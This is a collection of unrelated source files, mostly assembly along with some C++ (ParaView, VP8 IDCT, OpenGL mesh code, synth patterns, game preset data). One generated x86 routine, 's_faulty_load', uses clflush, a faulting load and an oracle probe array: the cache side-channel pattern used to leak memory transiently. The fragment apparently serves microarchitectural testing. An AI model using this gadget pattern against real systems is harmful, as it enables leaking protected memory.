dw PURSUIT
dw BODY_SLAM
NoEggMoves2:
dw -1 ; end
|
; void __CALLEE__ *memopi(void *dst, void *src, uint n, uint op)
; *dst = *src OP *dst, increasing src and dst addresses
; OP: 0=load, 1=or, 2=xor, 3=and, 4=add, 5 = adc, 6=sub, 7 = sbc, 8 = rls, 9 = rrs else address of OP function
; 05.2007 aralbrec
PUBLIC memopi_callee
PUBLIC ASMDISP_MEMOPI_CALLEE
EXTERN l_jpix, memops
.memopi_callee
pop hl
pop ix
pop bc
pop de
ex (sp),hl
.asmentry
; enter : ix = OP
; bc = uint n
; de = src
; hl = dst
ld a,b
or c
ret z
push hl
IF FORrcmx000
push ix
pop hl
ld a,h
or a
jr nz, func_enter
ld a,l
cp 10
jr nc, func_enter
add a,a
add a,memops%256
ld l,a
ld a,0
adc a,memops/256
ld h,a
push hl
pop ix
pop hl
push hl
ELSE
ld a,ixh
or a
jr nz, func
ld a,ixl
cp 10
jr nc, func
add a,a
add a,memops%256
ld ixl,a
ld a,0
adc a,memops/256
ld ixh,a
ENDIF
; ix = addr of op function
.loop
ld a,(de)
call l_jpix
.return
ld (hl),a
inc hl
inc de
dec bc ; must not mess with carry flag in loop
inc c
dec c
jp nz, loop
inc b
djnz loop
pop hl
ret
IF FORrcmx000
.func_enter
pop hl
push hl
ENDIF
.func
push bc
push de
push hl
ld a,(de)
ld e,a
ld d,0
ld l,(hl)
ld h,d
push hl
push de
call l_jpix ; (func)(uchar dst_byte, uchar src_byte)
ld a,l
pop de
pop hl
pop hl
pop de
pop bc
ld (hl),a
inc hl
inc de
dec bc ; must not mess with carry flag in loop
inc c
dec c
jp nz, func
inc b
djnz func
pop hl
ret
DEFC ASMDISP_MEMOPI_CALLEE = # asmentry - memopi_callee
|
/*=========================================================================
Program: ParaView
Module: vtkSMDiscreteDoubleDomain.cxx
Copyright (c) Kitware, Inc.
All rights reserved.
See Copyright.txt or http://www.paraview.org/HTML/Copyright.html for details.
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the above copyright notice for more information.
=========================================================================*/
#include "vtkSMDiscreteDoubleDomain.h"
#include "vtkObjectFactory.h"
#include "vtkPVXMLElement.h"
#include "vtkSMDoubleVectorProperty.h"
#include "vtkSMProperty.h"
#include <algorithm>
vtkStandardNewMacro(vtkSMDiscreteDoubleDomain);
std::vector<double> vtkSMDiscreteDoubleDomain::GetValues()
{
return this->Values;
}
//---------------------------------------------------------------------------
bool vtkSMDiscreteDoubleDomain::GetValuesExists()
{
return this->Values.size() > 0;
}
//---------------------------------------------------------------------------
void vtkSMDiscreteDoubleDomain::PrintSelf(std::ostream& os, vtkIndent indent)
{
this->Superclass::PrintSelf(os, indent);
os << indent << "Number of values: " << this->Values.size() << std::endl;
}
//---------------------------------------------------------------------------
void vtkSMDiscreteDoubleDomain::Update(vtkSMProperty* property)
{
vtkSMDoubleVectorProperty* doubleProperty = vtkSMDoubleVectorProperty::SafeDownCast(property);
if (doubleProperty && doubleProperty->GetInformationOnly())
{
this->Values.clear();
for (unsigned int cc = 0; cc < doubleProperty->GetNumberOfElements(); ++cc)
{
this->Values.push_back(doubleProperty->GetElement(cc));
}
this->InvokeModified();
}
}
//---------------------------------------------------------------------------
int vtkSMDiscreteDoubleDomain::IsInDomain(vtkSMProperty* property)
{
if (this->IsOptional)
{
return 1;
}
vtkSMDoubleVectorProperty* doubleProperty = vtkSMDoubleVectorProperty::SafeDownCast(property);
if (!doubleProperty)
{
return 0;
}
unsigned int numElems = doubleProperty->GetNumberOfUncheckedElements();
for (unsigned int i = 0; i < numElems; i++)
{
if (std::find(this->Values.begin(), this->Values.end(),
doubleProperty->GetUncheckedElement(i)) == this->Values.end())
{
return 0;
}
}
return 1;
}
//---------------------------------------------------------------------------
vtkSMDiscreteDoubleDomain::vtkSMDiscreteDoubleDomain() = default;
//---------------------------------------------------------------------------
vtkSMDiscreteDoubleDomain::~vtkSMDiscreteDoubleDomain() = default;
//---------------------------------------------------------------------------
int vtkSMDiscreteDoubleDomain::ReadXMLAttributes(vtkSMProperty* prop, vtkPVXMLElement* element)
{
if (!this->Superclass::ReadXMLAttributes(prop, element))
{
return 0;
}
const int MAX_NUM = 256;
this->Values.resize(MAX_NUM);
int numRead = element->GetVectorAttribute("values", MAX_NUM, this->Values.data());
this->Values.resize(numRead);
if (numRead <= 0)
{
vtkErrorMacro(<< "Can not find required attribute: values. "
<< "Can not parse domain xml.");
return 0;
}
return 1;
}
|
; A037515: Base 6 digits are, in order, the first n terms of the periodic sequence with initial period 2,0,1.
; Submitted by Christian Krause
; 2,12,73,440,2640,15841,95048,570288,3421729,20530376,123182256,739093537,4434561224,26607367344,159644204065,957865224392,5747191346352,34483148078113,206898888468680,1241393330812080,7448359984872481
mov $2,2
lpb $0
sub $0,1
add $1,$2
mul $1,6
add $2,22
mod $2,3
lpe
add $1,$2
mov $0,$1
|
; A212529: Negative numbers in base -2.
; Submitted by Jon Maiga
; 11,10,1101,1100,1111,1110,1001,1000,1011,1010,110101,110100,110111,110110,110001,110000,110011,110010,111101,111100,111111,111110,111001,111000,111011,111010,100101,100100,100111,100110,100001,100000,100011,100010,101101,101100,101111,101110,101001,101000,101011,101010,11010101,11010100,11010111,11010110,11010001,11010000,11010011,11010010,11011101,11011100,11011111,11011110,11011001,11011000,11011011,11011010,11000101,11000100,11000111,11000110,11000001,11000000,11000011,11000010,11001101
seq $0,5352 ; Base -2 representation of -n reinterpreted as binary.
seq $0,7088 ; The binary numbers (or binary words, or binary vectors, or binary expansion of n): numbers written in base 2.
|
;
; Copyright (c) 2010 The VP8 project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
.globl short_idct4x4llm_ppc
.macro load_c V, LABEL, OFF, R0, R1
lis \R0, \LABEL@ha
la \R1, \LABEL@l(\R0)
lvx \V, \OFF, \R1
.endm
;# r3 short *input
;# r4 short *output
;# r5 int pitch
.align 2
short_idct4x4llm_ppc:
mfspr r11, 256 ;# get old VRSAVE
oris r12, r11, 0xfff8
mtspr 256, r12 ;# set VRSAVE
load_c v8, sinpi8sqrt2, 0, r9, r10
load_c v9, cospi8sqrt2minus1, 0, r9, r10
load_c v10, hi_hi, 0, r9, r10
load_c v11, lo_lo, 0, r9, r10
load_c v12, shift_16, 0, r9, r10
li r10, 16
lvx v0, 0, r3 ;# input ip[0], ip[ 4]
lvx v1, r10, r3 ;# input ip[8], ip[12]
;# first pass
vupkhsh v2, v0
vupkhsh v3, v1
vaddsws v6, v2, v3 ;# a1 = ip[0]+ip[8]
vsubsws v7, v2, v3 ;# b1 = ip[0]-ip[8]
vupklsh v0, v0
vmulosh v4, v0, v8
vsraw v4, v4, v12
vaddsws v4, v4, v0 ;# ip[ 4] * sin(pi/8) * sqrt(2)
vupklsh v1, v1
vmulosh v5, v1, v9
vsraw v5, v5, v12 ;# ip[12] * cos(pi/8) * sqrt(2)
vaddsws v5, v5, v1
vsubsws v4, v4, v5 ;# c1
vmulosh v3, v1, v8
vsraw v3, v3, v12
vaddsws v3, v3, v1 ;# ip[12] * sin(pi/8) * sqrt(2)
vmulosh v5, v0, v9
vsraw v5, v5, v12 ;# ip[ 4] * cos(pi/8) * sqrt(2)
vaddsws v5, v5, v0
vaddsws v3, v3, v5 ;# d1
vaddsws v0, v6, v3 ;# a1 + d1
vsubsws v3, v6, v3 ;# a1 - d1
vaddsws v1, v7, v4 ;# b1 + c1
vsubsws v2, v7, v4 ;# b1 - c1
;# transpose input
vmrghw v4, v0, v1 ;# a0 b0 a1 b1
vmrghw v5, v2, v3 ;# c0 d0 c1 d1
vmrglw v6, v0, v1 ;# a2 b2 a3 b3
vmrglw v7, v2, v3 ;# c2 d2 c3 d3
vperm v0, v4, v5, v10 ;# a0 b0 c0 d0
vperm v1, v4, v5, v11 ;# a1 b1 c1 d1
vperm v2, v6, v7, v10 ;# a2 b2 c2 d2
vperm v3, v6, v7, v11 ;# a3 b3 c3 d3
;# second pass
vaddsws v6, v0, v2 ;# a1 = ip[0]+ip[8]
vsubsws v7, v0, v2 ;# b1 = ip[0]-ip[8]
vmulosh v4, v1, v8
vsraw v4, v4, v12
vaddsws v4, v4, v1 ;# ip[ 4] * sin(pi/8) * sqrt(2)
vmulosh v5, v3, v9
vsraw v5, v5, v12 ;# ip[12] * cos(pi/8) * sqrt(2)
vaddsws v5, v5, v3
vsubsws v4, v4, v5 ;# c1
vmulosh v2, v3, v8
vsraw v2, v2, v12
vaddsws v2, v2, v3 ;# ip[12] * sin(pi/8) * sqrt(2)
vmulosh v5, v1, v9
vsraw v5, v5, v12 ;# ip[ 4] * cos(pi/8) * sqrt(2)
vaddsws v5, v5, v1
vaddsws v3, v2, v5 ;# d1
vaddsws v0, v6, v3 ;# a1 + d1
vsubsws v3, v6, v3 ;# a1 - d1
vaddsws v1, v7, v4 ;# b1 + c1
vsubsws v2, v7, v4 ;# b1 - c1
vspltish v6, 4
vspltish v7, 3
vpkswss v0, v0, v1
vpkswss v1, v2, v3
vaddshs v0, v0, v6
vaddshs v1, v1, v6
vsrah v0, v0, v7
vsrah v1, v1, v7
;# transpose output
vmrghh v2, v0, v1 ;# a0 c0 a1 c1 a2 c2 a3 c3
vmrglh v3, v0, v1 ;# b0 d0 b1 d1 b2 d2 b3 d3
vmrghh v0, v2, v3 ;# a0 b0 c0 d0 a1 b1 c1 d1
vmrglh v1, v2, v3 ;# a2 b2 c2 d2 a3 b3 c3 d3
stwu r1,-416(r1) ;# create space on the stack
stvx v0, 0, r1
lwz r6, 0(r1)
stw r6, 0(r4)
lwz r6, 4(r1)
stw r6, 4(r4)
add r4, r4, r5
lwz r6, 8(r1)
stw r6, 0(r4)
lwz r6, 12(r1)
stw r6, 4(r4)
add r4, r4, r5
stvx v1, 0, r1
lwz r6, 0(r1)
stw r6, 0(r4)
lwz r6, 4(r1)
stw r6, 4(r4)
add r4, r4, r5
lwz r6, 8(r1)
stw r6, 0(r4)
lwz r6, 12(r1)
stw r6, 4(r4)
addi r1, r1, 416 ;# recover stack
mtspr 256, r11 ;# reset old VRSAVE
blr
.align 4
sinpi8sqrt2:
.short 35468, 35468, 35468, 35468, 35468, 35468, 35468, 35468
.align 4
cospi8sqrt2minus1:
.short 20091, 20091, 20091, 20091, 20091, 20091, 20091, 20091
.align 4
shift_16:
.long 16, 16, 16, 16
.align 4
hi_hi:
.byte 0, 1, 2, 3, 4, 5, 6, 7, 16, 17, 18, 19, 20, 21, 22, 23
.align 4
lo_lo:
.byte 8, 9, 10, 11, 12, 13, 14, 15, 24, 25, 26, 27, 28, 29, 30, 31
|
#include "TriangleMesh.h"
TriangleMesh::TriangleMesh(GLfloat *data, GLuint *indexes, int sizeofdata, int sizeofindexes)
{
this->data = data;
this->indexes = indexes;
this->sizeofindexes = sizeofindexes;
this->sizeofdata = sizeofdata;
glGenVertexArrays(1, &VAO);
glBindVertexArray(VAO);
glGenBuffers(1, &VBO_vertices);
glBindBuffer(GL_ARRAY_BUFFER, VBO_vertices);
glBufferData(GL_ARRAY_BUFFER, sizeofdata, data, GL_STATIC_DRAW);
std::cout << sizeofdata << std::endl;
glGenBuffers(1, &VBO_indexes);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, VBO_indexes);
glBufferData(GL_ELEMENT_ARRAY_BUFFER, sizeofindexes, indexes, GL_STATIC_DRAW);
setupBulletRigidBody();
}
TriangleMesh::~TriangleMesh()
{
}
void TriangleMesh::setupBulletRigidBody()
{
mTriMesh = new btTriangleMesh();
for (int i=0; i < sizeofdata/(sizeof(GLfloat)) ; i+=8)
{
mTriMesh->findOrAddVertex(btVector3(data[i], data[i + 1], data[i+2]), false);
std::cout << data[i] << " " << data[i + 1] << " " << data[i + 2] << std::endl;
}
std::cout << sizeofdata / (sizeof(GLfloat)*8) << std::endl;
for (int i=0; i < sizeofindexes/(sizeof(GLuint)); i+=3)
{
mTriMesh->addTriangleIndices(indexes[i], indexes[i+1], indexes[i+2]);
std::cout << indexes[i] << " " << indexes[i + 1] << " " << indexes[i + 2] << std::endl;
}
std::cout << sizeofindexes / (sizeof(GLuint)*3) << std::endl;
triangleMeshShape = new btBvhTriangleMeshShape(mTriMesh,true);
triangleMeshMotionState = new btDefaultMotionState(btTransform(btQuaternion(0, 0, 0, 1), btVector3(0, 0, 0)));
triangleMeshRigidBodyCI = new btRigidBody::btRigidBodyConstructionInfo(0, triangleMeshMotionState, triangleMeshShape, btVector3(0, 0, 0));
triangleMeshRigidBody = new btRigidBody(*triangleMeshRigidBodyCI);
triangleMeshRigidBody->setRestitution(btScalar(0.95));
}
btRigidBody* TriangleMesh::getRigidBody()
{
return triangleMeshRigidBody;
}
void TriangleMesh::drawObject(GLint shaderProgram, mat4 mvp)
{
glUseProgram(shaderProgram);
glBindVertexArray(VAO);
glBindBuffer(GL_ARRAY_BUFFER, VBO_vertices);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, VBO_indexes);
GLint mvpMatrixUniformLocation = glGetUniformLocation(shaderProgram, "mvpMatrix");
glUniformMatrix4fv(mvpMatrixUniformLocation, 1, GL_FALSE, &mvp[0][0]);
glEnableVertexAttribArray(0);
glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 8 * sizeof(GLfloat), 0);
glEnableVertexAttribArray(1);
glVertexAttribPointer(1, 3, GL_FLOAT, GL_FALSE, 8 * sizeof(GLfloat), (void*)(5 * sizeof(GLfloat)));
glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);
glDrawElements(GL_TRIANGLES, sizeofindexes, GL_UNSIGNED_INT, (void*)0);
glPolygonMode(GL_FRONT_AND_BACK, GL_FILL);
glDisableVertexAttribArray(0);
glDisableVertexAttribArray(1);
}
|
ldx {c1}
stx $fe
ldx {c1}+1
stx $ff
sta ($fe),y |
.386P
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
_TEXT SEGMENT
_TEXT ENDS
END |
.global s_prepare_buffers
s_prepare_buffers:
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x18679, %rdi
nop
nop
nop
nop
add $20680, %rbp
mov $0x6162636465666768, %rcx
movq %rcx, (%rdi)
nop
nop
nop
sub $52165, %rdi
lea addresses_UC_ht+0xc529, %rsi
lea addresses_WC_ht+0x17129, %rdi
nop
nop
nop
nop
cmp %rbx, %rbx
mov $122, %rcx
rep movsq
nop
add %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %r9
push %rcx
push %rsi
// Load
lea addresses_A+0x1d4f9, %r11
clflush (%r11)
nop
xor $8541, %r12
mov (%r11), %esi
nop
nop
nop
nop
xor %rsi, %rsi
// Store
lea addresses_normal+0x4da9, %rcx
nop
nop
nop
nop
nop
inc %r14
mov $0x5152535455565758, %r9
movq %r9, %xmm3
movups %xmm3, (%rcx)
nop
nop
nop
nop
cmp %r9, %r9
// Faulty Load
lea addresses_PSE+0xf529, %r9
dec %r13
movups (%r9), %xmm1
vpextrq $1, %xmm1, %r12
lea oracles, %rcx
and $0xff, %r12
shlq $12, %r12
mov (%rcx,%r12,1), %r12
pop %rsi
pop %rcx
pop %r9
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
%define BPM 100
%include "../src/sointu.inc"
BEGIN_PATTERNS
PATTERN 64, 0, 68, 0, 32, 0, 0, 0, 75, 0, 78, 0, 0, 0, 0, 0,
END_PATTERNS
BEGIN_TRACKS
TRACK VOICES(1),0
END_TRACKS
BEGIN_PATCH
BEGIN_INSTRUMENT VOICES(1) ; Instrument0
SU_ENVELOPE MONO,ATTAC(80),DECAY(80),SUSTAIN(64),RELEASE(80),GAIN(128)
SU_OSCILLAT MONO,TRANSPOSE(64),DETUNE(64),PHASE(0),COLOR(128),SHAPE(64),GAIN(128),FLAGS(SINE)
SU_MULP MONO
SU_DELAY MONO,PREGAIN(40),DRY(128),FEEDBACK(125),DAMP(64),DELAY(0),COUNT(8)
SU_PAN MONO,PANNING(64)
SU_OUT STEREO, GAIN(128)
END_INSTRUMENT
END_PATCH
BEGIN_DELTIMES
DELTIME 1116,1188,1276,1356,1422,1492,1556,1618
END_DELTIMES
%include "../src/sointu.asm"
|
; void *w_array_pop_back(w_array_t *a)
SECTION code_clib
SECTION code_adt_w_array
PUBLIC _w_array_pop_back
EXTERN asm_w_array_pop_back
_w_array_pop_back:
pop af
pop hl
push hl
push af
jp asm_w_array_pop_back
|
preset_hundo_bombs_ceres_elevator:
dw #$0000
dl $7E078B : db $02 : dw $0000 ; Elevator Index
dl $7E078D : db $02 : dw $AB58 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $DF45 ; MDB
dl $7E079F : db $02 : dw $0006 ; Region
dl $7E07C3 : db $02 : dw $E22A ; GFX Pointers
dl $7E07C5 : db $02 : dw $04C0 ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2C1 ; GFX Pointers
dl $7E07F3 : db $02 : dw $002D ; Music Bank
dl $7E07F5 : db $02 : dw $0006 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E093F : db $02 : dw $0000 ; Ceres escape flag
dl $7E09A2 : db $02 : dw $0000 ; Equipped Items
dl $7E09A4 : db $02 : dw $0000 ; Collected Items
dl $7E09A6 : db $02 : dw $0000 ; Beams
dl $7E09A8 : db $02 : dw $0000 ; Beams
dl $7E09C0 : db $02 : dw $0000 ; Manual/Auto reserve tank
dl $7E09C2 : db $02 : dw $0063 ; Health
dl $7E09C4 : db $02 : dw $0063 ; Max helath
dl $7E09C6 : db $02 : dw $0000 ; Missiles
dl $7E09C8 : db $02 : dw $0000 ; Max missiles
dl $7E09CA : db $02 : dw $0000 ; Supers
dl $7E09CC : db $02 : dw $0000 ; Max supers
dl $7E09CE : db $02 : dw $0000 ; Pbs
dl $7E09D0 : db $02 : dw $0000 ; Max pbs
dl $7E09D2 : db $02 : dw $0000 ; Currently selected item
dl $7E09D4 : db $02 : dw $0000 ; Max reserves
dl $7E09D6 : db $02 : dw $0000 ; Reserves
dl $7E0A1C : db $02 : dw $0000 ; Samus position/state
dl $7E0A1E : db $02 : dw $0000 ; More position/state
dl $7E0A68 : db $02 : dw $0000 ; Flash suit
dl $7E0A76 : db $02 : dw $0000 ; Hyper beam
dl $7E0AF6 : db $02 : dw $0080 ; Samus X
dl $7E0AFA : db $02 : dw $0048 ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED7C0 : db $02 : dw $0000 ; SRAM copy
dl $7ED7C2 : db $02 : dw $0000 ; SRAM copy
dl $7ED7C4 : db $02 : dw $0000 ; SRAM copy
dl $7ED7C6 : db $02 : dw $0000 ; SRAM copy
dl $7ED7C8 : db $02 : dw $0800 ; SRAM copy
dl $7ED7CA : db $02 : dw $0400 ; SRAM copy
dl $7ED7CC : db $02 : dw $0200 ; SRAM copy
dl $7ED7CE : db $02 : dw $0100 ; SRAM copy
dl $7ED7D0 : db $02 : dw $0040 ; SRAM copy
dl $7ED7D2 : db $02 : dw $0080 ; SRAM copy
dl $7ED7D4 : db $02 : dw $8000 ; SRAM copy
dl $7ED7D6 : db $02 : dw $4000 ; SRAM copy
dl $7ED7D8 : db $02 : dw $2000 ; SRAM copy
dl $7ED7DA : db $02 : dw $0020 ; SRAM copy
dl $7ED7DC : db $02 : dw $0010 ; SRAM copy
dl $7ED7DE : db $02 : dw $0000 ; SRAM copy
dl $7ED7E0 : db $02 : dw $0063 ; SRAM copy
dl $7ED7E2 : db $02 : dw $0063 ; SRAM copy
dl $7ED7E4 : db $02 : dw $0000 ; SRAM copy
dl $7ED7E6 : db $02 : dw $0000 ; SRAM copy
dl $7ED7E8 : db $02 : dw $0000 ; SRAM copy
dl $7ED7EA : db $02 : dw $0000 ; SRAM copy
dl $7ED7EC : db $02 : dw $0000 ; SRAM copy
dl $7ED7EE : db $02 : dw $0000 ; SRAM copy
dl $7ED7F0 : db $02 : dw $0000 ; SRAM copy
dl $7ED7F2 : db $02 : dw $0000 ; SRAM copy
dl $7ED7F4 : db $02 : dw $0000 ; SRAM copy
dl $7ED7F6 : db $02 : dw $0000 ; SRAM copy
dl $7ED7F8 : db $02 : dw $0000 ; SRAM copy
dl $7ED7FA : db $02 : dw $0000 ; SRAM copy
dl $7ED7FC : db $02 : dw $0000 ; SRAM copy
dl $7ED7FE : db $02 : dw $0000 ; SRAM copy
dl $7ED800 : db $02 : dw $0000 ; SRAM copy
dl $7ED802 : db $02 : dw $0000 ; SRAM copy
dl $7ED804 : db $02 : dw $0001 ; SRAM copy
dl $7ED806 : db $02 : dw $0001 ; SRAM copy
dl $7ED808 : db $02 : dw $0000 ; SRAM copy
dl $7ED80A : db $02 : dw $0000 ; SRAM copy
dl $7ED80C : db $02 : dw $0000 ; SRAM copy
dl $7ED80E : db $02 : dw $0000 ; SRAM copy
dl $7ED810 : db $02 : dw $0000 ; SRAM copy
dl $7ED812 : db $02 : dw $0000 ; SRAM copy
dl $7ED814 : db $02 : dw $0000 ; SRAM copy
dl $7ED816 : db $02 : dw $0000 ; SRAM copy
dl $7ED818 : db $02 : dw $0000 ; SRAM copy
dl $7ED81A : db $02 : dw $0000 ; SRAM copy
dl $7ED81C : db $02 : dw $0000 ; SRAM copy
dl $7ED81E : db $02 : dw $0000 ; SRAM copy
dl $7ED820 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED822 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED824 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED826 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED828 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED82A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED82C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED82E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED830 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED832 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED834 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED836 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED838 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED83A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED83C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED83E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED840 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED842 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED844 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED846 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED848 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED84A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED84C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED84E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED850 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED852 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED854 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED856 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED858 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED85A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED85C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED85E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED860 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED862 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED864 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED866 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED868 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED86A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED86C : db $02 : dw $0000 ; Events, Items, Doors
